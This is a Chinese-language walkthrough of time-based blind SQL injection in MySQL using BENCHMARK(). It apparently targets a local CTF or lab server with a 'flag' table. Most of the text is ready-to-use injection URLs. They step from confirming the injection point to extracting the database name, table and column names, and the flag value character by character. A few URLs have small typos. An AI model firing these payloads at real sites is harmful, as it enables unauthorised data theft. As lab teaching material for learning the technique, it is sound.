BENCHMARK(count,expr) 函数重复count次执行表达式expr,它可以用于计时MySQL处理表达式有多快,结果值总是0。
实验过程与MySQL盲注:基于时间延迟注入(Sleep函数)类似;
一、判断注入点及其它
1、判断注入点
http://127.0.0.1:4609/?id=1 and if(1=0,1, sleep(10)) --+
2、判断数据库版本第一个字符是否为 5 ?
http://127.0.0.1:4610/?id=1 and if(left(version(),1)=5,(select benchmark(10000000,md5(0x41))),1) --+
3、判断数据库连接用户名长度是否为 18?
http://127.0.0.1:4610/?id=1 and if(length(user())=18,(select benchmark(10000000,md5(0x41))),1) --+
4、判断用户名前18个字符是否为 sql_user@localhost ?
http://127.0.0.14610/?id=1 and if(left(user(),18)='sql_user@localhost',(select benchmark(10000000,md5(0x41))),1) --+
二、猜测数据库名
5、判断数据库名长度是否为 6?
http://127.0.0.1:4610/?id=1 and if(length(database())=6,(select benchmark(10000000,md5(0x41))),1) --+
6、判断数据库名第一个字符是否为 s?
http://127.0.0.14610/?id=1 and if(ascii(substring((database()),1,1))=115,(select benchmark(10000000,md5(0x41))),1) --+
依次类推......
三、猜测表名
7、判断表名长度是否为 4 ?
http://127.0.0.1:4610/?id=1 andif(length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=4,(select benchmark(10000000,md5(0x41))),1) --+
8、判断表名第一个字符是否为 f ?
http://127.0.0.1:4610/?id=1 and if(left((select table_name from information_schema.tables wheretable_schema=database() limit 1,1),1)='f',(select benchmark(10000000,md5(0x41))),1) --+
依次类推......
四、猜测表列名
9、判断列名长度是否为 4?
http://127.0.0.1:4610/?id=1 and if(length((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=0x666c6167 limit 1,1))=4,(select benchmark(10000000,md5(0x41))),1) --+
10、判断列名第一个字符是否为 f ?
http://127.0.0.1:4610/?id=1 and if(left((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=0x666c6167 limit 1,1),1)='f',(select benchmark(10000000,md5(0x41))),1) --+
依次类推......
五、猜测列名字段值的数据
11、判断列名字段内容值长度是否为 14?
http://127.0.0.1:4610/?id=1 and if(length((select flag from flag limit 0,1))=14,(select benchmark(10000000,md5(0x41))),1) --+
12、判断列名字段内容值第一位字符是否为 w ?
http://127.0.0.1:4610/?id=1 and if(left((select flag from flag limit 0,1),1)='w',(select benchmark(10000000,md5(0x41))),1) --+
或者
http://127.0.0.1:4610/?id=1 andif(ascii(substring((SELECT flag FROM flag),1,1))=119,(select benchmark(10000000,md5(0x41))),1) --+
依次类推......